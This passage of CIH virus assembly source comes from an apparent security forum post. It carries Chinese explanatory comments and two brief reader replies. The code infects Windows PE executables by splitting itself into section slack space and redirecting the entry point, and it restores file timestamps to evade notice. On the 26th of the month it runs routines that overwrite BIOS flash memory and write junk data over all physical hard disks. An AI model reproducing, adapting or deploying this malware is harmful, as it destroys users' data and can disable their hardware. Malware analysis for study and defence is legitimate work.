push ecx                        ; Save TotalSizeOfVirusCodeSectionTable

add ecx, eax
add ecx, edx                ; ecx + SectionTable的偏移

sub ecx, (SizeOfHeaders - @9)[esi]
not ecx

; ecx为文件头大小-MZ头部-实模式程序-PE文件头-PE可选头-段表=未用空间
inc ecx                                ; 求补

; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx

xchg ecx, eax                ; ECX = Size of Section Table ecx为段表大小

; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint - @9)[esi]        ; eax = 程序入口偏址
add eax, (ImageBase - @9)[esi]                                ; + 程序装入基址 = 程序入口地址
mov (OriginalAddressOfEntryPoint - @9)[esi], eax        ; 保存装入后实际的入口地址

; 未用空间和病毒第一块大小比较,如果未用空间不足存放病毒第一块
; 则不进行感染操作,但设置感染标志
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

mov eax, ebp                ; 读文件功能号
call edi                        ; VXDCall IFSMgr_Ring0_FileIO 读段表到esi(@9处)

; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************

xchg eax, ebp

push 00000004h
pop ecx                                ; 读4字节

push edx
; edx为第二段的偏移(.rdata还是.bss)
mov edx, (SizeOfScetionTable + PointerToRawData - @9)[ebx]

add edx, 12h                ; 加10h + 2h(10h处为"WinZip....")

call edi                        ; VXDCall IFSMgr_Ring0_FileIO 读4字节到esi

; cmp [esi], 'nZip'?
cmp dword ptr [esi], 'piZn'                ; 判断是否是WinZip自解压文件
je NotSetInfectedMark                        ; 是则不设置感染标志

pop edx                                ; edx指向段表在文件中首址

; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************

; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx                                ; 未用空间大小
pop edi                                ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx                                ; ECX = NumberOfSections + 1

push edi                        ; Size

add edx, ebp                ; ebp为文件段表大小
push edx                        ; Pointer of File        ; 指向文件段表后,病毒首段插到此处

add ebp, esi                ; ebp指向病毒数据区的段表后
push ebp                        ; Address of Buffer, ebp=StartOfSectionTable + 文件段表大小

; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************

lea eax, [ebp + edi - 04h]
mov [eax], ebx        ; 设置病毒第一段的大小(未用空间大小)到文件段表后(注:是段表后)

; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************

push ebx                        ; Size 病毒代码第一块的大小(未用空间大小)

add edx, edi
push edx                        ; Pointer of File 指向文件段表后 + (NumberOfSections + 1) * 8

lea edi, (MyVirusStart - @9)[esi]
push edi                        ; Address of Buffer 指向病毒开始处

; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************

mov (NewAddressOfEntryPoint - @9)[esi], edx                ; 保存新的程序入口,让其指向病毒

; ***************************
; * Setup Initial Data *
; ***************************

lea edx, [esi - SizeOfScetionTable]                ; 为何 - SOST 见行#
mov ebp, offset VirusSize                                ; ebp为病毒长度

jmp StartToWriteCodeToSections

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCodeToSections:
  
add edx, SizeOfScetionTable                                ; 指向文件下一段表项 #

mov ebx, (SizeOfRawData - @9)[edx]                ; ebx为该段表项的SizeOfRawData(段实际长度)
sub ebx, (VirtualSize - @9)[edx]                ; 减去VirtualSize = 该段未用空间 (VirtualSize应是已用空间)
jbe EndOfWriteCodeToSections

push ebx                                                                ; Size

sub eax, 08h
mov [eax], ebx                                                        ; 设置病毒段的大小(未用空间大小)到文件段表后

mov ebx, (PointerToRawData - @9)[edx]        ; ebx = 文件中段实体的偏移量
add ebx, (VirtualSize - @9)[edx]                ; 加上VirtualSize
push ebx                                                                ; Pointer of File ebx指向该段未用的空间

push edi                                                                ; Address of Buffer edi = 病毒当前处理的段

mov ebx, (VirtualSize - @9)[edx]
add ebx, (VirtualAddress - @9)[edx]
add ebx, (ImageBase - @9)[esi]                        ; ebx为该段装入后的实际地址
mov [eax + 4], ebx                                                ; 保存到病毒段表后

mov ebx, [eax]                                                        ; 该段未用空间大小
add (VirtualSize - @9)[edx], ebx                ; 加到该段表项的VirtualSize

; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics - @9)[edx], 40000040h                ; 改该段表项的块属性(改为可读,并包含初始化数据)

StartToWriteCodeToSections:                                ; 将病毒写到文件段中

sub ebp, ebx                        ; 病毒大小 - 病毒段大小
jbe SetVirusCodeSectionTableEndMark                ; 如果小于(病毒写入完毕)就设置病毒块表结束符

add edi, ebx                        ; Move Address of Buffer ; 指向病毒下一块

EndOfWriteCodeToSections:

loop LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfectedMark:
mov esp, dr1                ; 设置感染标志

jmp WriteVirusCodeToFile        ; 将病毒写到文件

; ***************************
; * Not Set Infected Mark *
; ***************************

NotSetInfectedMark:
add esp, 3ch                        ; 恢复原始的堆栈,不设置感染标志

jmp CloseFile                        ; 关闭文件

; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************

SetVirusCodeSectionTableEndMark:

; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp                        ; 更正病毒段表的最后一项
add [esp + 08h], ebp

; Set End Mark
xor ebx, ebx
mov [eax - 04h], ebx        ; 设置段表结束标志

; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************

lea eax, (LastVxDCallAddress - 2 - @9)[esi]                ; 上一个调用VXD的指令的地址

mov cl, VxDCallTableSize                ; 所用VXD调用的个数

LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh                ; 还原成"int 20h"的形式

mov edx, (VxDCallIDTable + (ecx - 1) * 04h - @9)[esi]                ; 从VxDCallIDTable取出VXD调用的id号放到edx
mov [eax + 2], edx                                ; 放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式

movzx edx, byte ptr (VxDCallAddressTable + ecx - 1 - @9)[esi]        ; VxDCallAddressTable中放着各个调用VXD的指令的地址之差

sub eax, edx                                        ; eax为上一个调用地址

loop LoopOfRestoreVxDCallID                ; 还原其他的调用

; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************

WriteVirusCodeTofile:
mov eax, dr1                        ; dr1为前面所保存的esp
mov ebx, [eax + 10h]         ; ebx为保存在栈中的保存文件句柄
mov edi, [eax]                        ; edi为保存在栈中的IFSMgr_Ring0_FileIO调用的地址

LoopOfWriteVirusCodeToFile:

pop ecx                                 ; 病毒代码各段的偏移
jecxz SetFileModificationMark                ; 到病毒偏移0为止

mov esi, ecx
mov eax, 0d601h                        ; 写文件功能号(R0_WRITEFILE)
pop edx                                        ; 文件指针
pop ecx                                        ; 要写的字节数

call edi                                ; VXDCall IFSMgr_Ring0_FileIO ; 写文件
; 依次写入:各段病毒代码,病毒块表,新的文件块表,新的程序入口,感染标志
jmp LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************

SetFileModificationMark:
pop ebx
pop eax

stc                                                ; Enable CF(Carry Flag) ; 设置进位标志
pushf                                        ; 标志位压栈

; *************************************
; * Close File *
; *************************************

CloseFile:
xor eax, eax
mov ah, 0d7h                        ; 关闭文件功能号
call edi                                ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************

popf
pop esi

; 关闭文件之前还要先发作,真是可恨
jnc IsKillComputer                ; CF = 0就KillComputer :-(

; *************************************
; * Restore File Modification Time *
; *************************************

mov ebx, edi                         ; 保存原修改时间

mov ax, 4303h
mov ecx, (FileModificationTime - @7)[esi]
mov edi, (FileModificationTime + 2 - @7)[esi]
call ebx                                ; VXDCall IFSMgr_Ring0_FileIO ; 修改文件修改时间

; *************************************
; * Disable OnBusy *
; *************************************

DisableOnBusy:                                 ; 清除“忙”标志
dec byte ptr (OnBusy - @7)[esi]                ; Disable OnBus

; *************************************
; * Call Previous FileSystemApiHook *
; *************************************

prevhook:                        ; 调用默认文件系统钩子程序
popad                                ; 恢复所有寄存器

mov eax, dr0                ; dr0 = 原来文件系统钩子程序首址
jmp [eax]                        ; Jump to prevhook

; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; *************************************

pIFSFunc:
mov ebx, esp                 ; ebx = FileSystemApiHookFunction的参数地址

; Push pioreq ; 把参数pioreq pir压栈,但为何需要 [??]
push dword ptr [ebx + 20h + 04h + 14h]
call [ebx + 20h + 04h]        ; Call pIFSFunc
pop ecx

; 改eax的值(在栈中,20h为pushad的压栈大小,1ch为第一个压栈的eax)
mov [ebx + 1ch], eax        ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************

; 是否是打开文件
cmp dword ptr [ebx + 20h + 04h + 04h], 00000024h
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx + 28h]
; 保存获得的文件时间和日期
mov (FileModificationTime - @6)[esi], eax

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad                                ; 恢复所有寄存器

ret                                 ; 从病毒设置的文件钩子程序中退出

; *************************************
; * Kill Computer !? ... *^_^* *
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h                        ; 从CMOS中获得当前时间
out 70h, al
in al, 71h

xor al, 26h                 ; ??/26/???? ;从CMOS中获得当前的日期

IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF                                ; 如果是每月的26号就KillComputer(太危险了).*^_^*.

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM *
; ***************************

; *******************************************************************
; *
; * PCI LOCAL BUS为32Bits总线,0cf8h和0cfeh为PCI REG_ADDRESS I/O和
; * PCI REG_DATA I/O,通过这两个端口, 可以分别对PCI LOCAL BUS上的
; * REG进行地址选取和数据的W/R
; * 8000384ch为PCI LOCAL BUS上某个PCI DEVICE REG的地址(应是BIOS),
; * 这个64bits的数值里边包含了 BUS_NUM, DEVICE_NUM, FUNCTION_NUM &
; * REG_OFFSET值,不同芯片中REG的这些值都是不一样的
; *
; *******************************************************************

mov bp, 0cf8h
lea esi, IOForEEPROM - @7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************

; 显示000E0000 - 000EFFFF地址段的BIOS页面,共64KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

; 显示000F0000 - 000FFFFF地址段的BIOS页面,共64KB
mov di, 0058h                        ; edi = 80000058h
dec edx                                        ; and a0fh
mov word ptr (BooleanCalculateCode - @10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************

; 显示BIOS中额外的000E0000 - 000E01FF段的
; ROM数据,共512个字节和可写的BIOS块
lea ebx, EnableEEPROMToWrite - @10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************

; 破坏BIOS中额外的000E0000 - 000E007F段的
; ROM数据,共80h个字节
xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************

; 显示和激活BIOS的000E0000 - 000FFFFF段数据,
; 共128 KB,该段可写入信息
mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************

; 破坏BIOS的000FE000 - 000FE07F段数据,共80h字节
mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

; 隐藏BIOS的000F0000 - 000FFFFF段,共64 KB
; or al 0h
mov word ptr (BooleanCalculateCode - @10)[esi], 100ch
call esi

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; *
; * 以下信息是IOS_SendCommand需要的IOR结构参数:
; *                0001h: 写功能IOR_WRITE
; *                40000501h: IOR_flags,指示要写的设备为物理设备
; *                                   (IORF_PHYS_CMD)
; *                IORF_PHYS_CMD|IORF_VERSION_002|IORF_SYNC_COMMAND
; *                                   |IORF_HIGH_PRIORITY
; *                IORF_PHYS_CMD指示为物理设备
; *                IORF_SYNC_COMMAND指示为同步命令(操作完成后才返回)
; *                IORF_VERSION_002指示为扩展BCB(IOR)格式的IO请求
; *                IOR_start_addr[2]=00 00 00 00 00 00 00 00起始位置
; *                                   (注意:不是扇区,而是字节)为0
; *                IOR_xfer_count=800h写入2048个字节
; *                IOR_buffer_ptr=0c0001000h要写的内容在地址0c0001000h
; *                                   写入的内容是随机的,目的是乱写数据
; *                IOR_vol_designtr=80h为第一个物理硬盘81h为第二个
; *
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:                                                ; 破坏所有硬盘

; 以压栈的形式构造上面所示的IOR结构
xor ebx, ebx
mov bh, FirstKillHardDiskNumber                ; 每一个破坏的硬盘号
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h                        ; VXDCall IOS_SendCommand

cmp word ptr [esi + 06h], 0017h                ; 判断IOR_status,查看设备是否正常
je KillNextDataSection                                ; 是,则往硬盘的下一块写入

ChangeNextHardDisk:                                 ; 否则,出错或写完上一硬盘,则写下一物理硬盘
inc byte ptr [esi + 4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi + 10h], ebx                ; 下个区域(以800h为一块)
mov byte ptr [esi + 4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

; 使EEPROM能够写入信息
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi                ; eax = 8000384ch
xchg edx, ebp                 ; ebp = 0cfeh, edx = 0cf8h
out dx, eax                        ; 选择8000384ch端口

xchg eax, edi                ; edi = 8000384ch
xchg edx, ebp                ; ebp = 0cf8h, edx = 0cfeh
in al, dx                         ; 从0cfeh读一字节数到al中

BooleanCalculateCode = $
or al, 44h                         ; 44h = 1000100b

xchg eax, edi
xchg edx, ebp
out dx, eax                        ; 选择8000384ch端口

xchg eax, edi
xchg edx, ebp
out dx, al                         ; 向该端口写入字节

ret

; *********************************************************
; * Static Data *
; *********************************************************

LastVxDCallAddress = IFSMgr_Ring0_FileIO        ; 最后一个调用的VxD的指令的地址
VxDCallAddressTable db 00h                                         ; 各个VxD调用指令地址之差
db IFSMgr_RemoveFileSystemApiHook - _PageAllocate
db UniToBCSPath - IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO - UniToBCSPath

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h                ; VxD的调用号
VxDCallTableSize = ($ - VxDCallIDTable) / 04h                ; 程序中使用VxD调用的个数

; *********************************************************
; * Virus Version Copyright *
; *********************************************************

; CIH病毒的标识,可以看查PE文件是否有些标识,如有,则意味着已受感染
VirusVersionCopyright db 'CIH v'
db MajorVirusVersion + '0'                        ; 主版本号
db '.'
db MinorVirusVersion+'0'                        ; 副版本号
db ' TATUNG'                                                ; 作者名字

; *********************************************************
; * Virus Size *
; *********************************************************

VirusSize = $                                                                ; 病毒代码全长
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??) * SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0                                        ; 忙标志
FileModificationTime dd ?        ; 文件修改时间

FileNameBuffer db FileNameBufferSize dup(?)                ; 7fh长的文件名数据区
@7 = FileNameBuffer

; *********************************************************
; * 定义一个缓冲区,用来存放从欲感染文件中读取的映像头部
; * 主要是为了计算病毒可以感染的各个段
; *********************************************************
DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?                ; 段数目
TimeDateStamp dd ?                         ; 文件时间
SymbolsPointer dd ?                        ; 指向符号表
NumberOfSymbols dd ?                ; 符号表中符号个数
SizeOfOptionalHeader dw ?         ; PE可选头部长度
_Characteristics dw ?                ; 文件的一些特征
Magic dw ?                                        ; 标志字(010bH表示EXE映像)
LinkerVersion dw ?                        ; 链接器版本号
SizeOfCode dd ?                                        ; 可执行代码尺寸
SizeOfInitializedData dd ?                 ; 已初始化的数据尺寸
SizeOfUninitializedData dd ?        ; 未初始化的数据尺寸

; 表示应用程序入口点的位置。并且,对于系统黑客来说,
; 这个位置就是导入地址表(IAT)的末尾
AddressOfEntryPoint dd ?
BaseOfCode dd ?                                ; 代码段起始RVA
BaseOfData dd ?                                ; 数据段起始RVA
ImageBase dd ?                                ; 进程映像地址空间中的首选基地址,默认设为0x00400000
@9 = $
SectionAlignment dd ?                ; 段对齐
FileAlignment dd ?                        ; 映像文件首先装载的最小的信息块间隔,即文件块对齐
OperatingSystemVersion dd ?                        ; 操作系统的版本号
ImageVersion dd ?                        ; 用程序的版本号
SubsystemVersion dd ?                ; Win32子系统的版本号
Reserved dd ?                                ; 保留
SizeOfImage dd ?                        ; 文件各部分总长

; 这个域表示文件中有多少空间用来保存所有的文件头部,
; 包括MS-DOS头部、PE文件头部、PE可选头部以及PE段头
; 部。文件中所有的段实体就开始于这个位置
SizeOfHeaders dd ?

; SOIHTR的偏址 - NOS的偏址 = 要读取的映像头部长度
SizeOfImageHeaderToRead = $ - NumberOfSections

; *********************************************************

; 新的程序入口,指向病毒
NewAddressOfEntryPoint = DataBuffer                                ; DWORD
SizeOfImageHeaderToWrite = 04h

StartOfSectionTable = @9
; 每个段都有一个8字符长的名称域,并且第一个字符必须是一个句点
SectionName = StartOfSectionTable                                 ; QWORD
VirtualSize = StartOfSectionTable + 08h                 ; DWORD 现已不用
VirtualAddress = StartOfSectionTable + 0ch                ; DWORD 进程地址空间中要装载这个段的虚拟地址
SizeOfRawData = StartOfSectionTable + 10h                 ; DWORD 段实际长度
PointerToRawData = StartOfSectionTable + 14h                 ; DWORD 文件中段实体位置的偏移量
PointerToRelocations = StartOfSectionTable + 18h         ; DWORD 重定位的偏移,在PE中不使用
PointerToLineNumbers = StartOfSectionTable + 1ch         ; DWORD 行号表的偏移,在PE中不使用
NumberOfRelocations = StartOfSectionTable + 20h         ; WORD 重定位项数目,在PE中不使用
NumberOfLinenNmbers = StartOfSectionTable + 22h                ; WORD 行号表的数目,在PE中不使用
; DWORD 段的特征,如:
;        “代码段”
;        “已初始化数据段”
;        “未初始化数据段”
;        “可执行段”
;        ...
Characteristics = StartOfSectionTable + 24h
SizeOfScetionTable = Characteristics + 04h - SectionName        ; 段头部为40个字节长

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections(??) * SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??) * SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)                ; 病毒所需的内存(病毒全长)

; *********************************************************
; *********************************************************

VirusGame ENDS

END FileHeader

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
顶一个,CIH病毒以前很有名诶~
2010-7-13 09:52
0
雪    币: 81
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不错的分析。。。
CIH经典。。
2010-7-13 11:17
0
游客
登录 | 注册 方可回帖
返回
//